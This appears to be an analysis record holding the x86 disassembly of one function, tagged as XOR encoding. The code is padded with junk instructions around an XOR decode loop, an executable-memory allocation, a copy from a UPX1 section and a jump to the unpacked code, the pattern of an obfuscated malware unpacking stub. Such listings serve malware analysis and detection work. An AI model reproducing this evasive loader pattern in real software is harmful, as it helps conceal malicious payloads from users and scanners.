Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5106f98b
mov edi, edx
mov edi, 0x167f57a2
popal
dec edi
dec edi
mov esi, 0
mov ebx, eax
and edx, edi
not edx
add edx, edi
mov ecx, ebx
dec edi
or edx, edx
sub edx, 0xc5abb223
mov eax, ecx
add edx, 1
and edx, edi
and edx, edi
inc esi
sub edx, 0xfcea91b9
add edi, 0xa9f2bf90
mov edi, 0x8118578b
cmp esi, 0x10031ae
jne 0x4c4741
not edx
sub edx, 0x333809e4
and edx, edx
mov edi, 0xefde55ec
or edx, edi
mov esi, 0x4c4516
sub edx, 0x33206123
add edi, edx
inc eax
mov ecx, 0x4c470a
add eax, 0x44ab9ab8
sub edi, edx
add edi, eax
mov ebx, dword [esi]
mov edx, 0x635a5850
mov edi, edx
and ebx, 0xff
mov eax, 0x557dee8f
or edi, eax
xor dword [ecx], ebx
sub eax, 0xd68544bd
sub eax, edi
dec eax
inc ecx
and edx, edx
or eax, edi
mov eax, 0x6a1273db
inc esi
or edx, eax
sub edi, edx
mov edi, edx
cmp ecx, entry0
jl 0x4c47ac
add eax, 0x608e2bea
not edi
inc eax
or eax, edi
sub edx, eax
not eax
sub esi, ebx
sub esi, 0x1f8e6ab6
add edi, edx
mov ecx, 0x4c470e
not ebx
mov ebx, edx
mov ecx, dword [ecx]
add esi, 0x36bb5e03
or esi, edi
add esi, 0x6db9a85e
mov ecx, dword [ecx]
sub edx, 0x8627496
mov edi, 0x836ecd33
sub esp, 4
mov dword [esp], ecx
mov ebx, 0x1fdc8f90
and esi, ebx
inc esi
mov ecx, 0x4c470a
or edx, edi
sub edi, 0xf7215ca7
mov edx, 0x381092bc
mov ecx, dword [ecx]
add edx, edx
add edx, edi
add edx, ebx
mov ecx, dword [ecx]
and esi, edi
mov edx, ebx
sub esi, 1
sub esp, 4
mov dword [esp], 0x4c4712
sub ebx, edi
add edi, 0x76dabef6
sub edx, edi
call ecx
dec edx
and ebx, edi
add esi, 1
pop ecx
or edx, ebx
dec edi
sub esp, 4
mov dword [esp], 0x4c471f
add ebx, 0x64a7b7d7
sub edx, 0x77d2e940
and esi, ebx
sub esp, 4
mov dword [esp], eax
not edx
sub ebx, 0x50762621
or edi, edi
call ecx
sub ebx, edi
mov ebx, 0x66f75746
push 0x40
or edx, esi
and ebx, edi
sub ebx, esi
push 0x3000
not esi
sub edi, 0xec655636
sub esp, 4
mov dword [esp], 0x200003a4
mov edx, 0x5a84f50c
or ebx, edi
sub esp, 4
mov dword [esp], 0
sub edi, 0x3a71bbd9
sub ebx, 0xcca339ba
call eax
add ebx, 0x2e79f860
sub ebx, edi
inc edx
add eax, 0x200002f4
not edx
inc ebx
mov ecx, 0x2693f248
mov esi, ebx
and ebx, edx
mov edi, edx
mov dword [eax], ecx
sub esi, 1
or ebx, edi
mov edx, 0x3f404613
mov ecx, dword [eax]
inc esi
and esi, edi
cmp ecx, 0x2693f248
je 0x4c4932
mov eax, 0
mov byte [eax], bl
sub edx, edi
sub edx, 1
add edi, esi
and ebx, edx
dec ebx
mov edi, edx
add edx, 1
mov eax, section.UPX1
sub edx, edi
sub edx, 0xa8021fde
mov edx, edi
mov ebx, 0x4c4515
add edx, 0x2a9ff4f7
mov edi, 0x1628a050
mov ecx, 0
not edi
add edx, 0xd4fc162
mov edx, 0xacc0f28a
mov esi, 0x4c4516
inc edx
mov edx, edi
lea esi, [esi + ecx]
and edi, edx
sub edi, 1
mov esi, dword [esi]
sub edx, 0xd22b6bef
mov edi, 0xa82c487d
and esi, 0xff
and edi, edx
mov edi, 0x39a86e56
inc ecx
or edi, edi
not edx
add edi, 0x19129b7f
cmp ecx, 0x1f4
jne 0x4c49bd
mov ecx, 0
sub edi, 0x5f138361
dec edi
mov edx, 0x422da24d
add edx, 0xb097fc6d
add edi, edi
xor dword [eax], esi
mov edx, 0xa68fe7f0
and edx, edx
add eax, 2
and edx, edx
add edi, 1
add edi, edx
cmp eax, ebx
jl 0x4c4978
sub edx, 0x3f9fe462
mov edx, 0x77531c2f
inc edi
add edx, edi
sub edi, 0x18c7cf2c
mov edx, section.UPX1
sub eax, 0x6e37dfcc
mov esi, eax
not esi
mov ecx, section.UPX1
not eax
dec esi
inc eax
mov edi, 0x4c4515
dec esi
add eax, esi
mov ebx, 0
mov eax, 0x8345a79f
mov esi, 0x80962908
add eax, esi
mov bl, byte [ecx]
dec esi
sub eax, esi
inc eax
mov byte [edx], bl
add eax, eax
dec esi
inc edx
not eax
sub eax, esi
add ecx, 2
sub eax, esi
inc eax
sub esi, 0xcd4a3090
cmp ecx, edi
jle 0x4c4a37
not eax
or eax, eax
mov edi, 0xa358a42
or edx, edx
push 0x4956a0
or edi, edx
mov edx, 0x81494f5b
mov edx, 0xa3c7936c
ret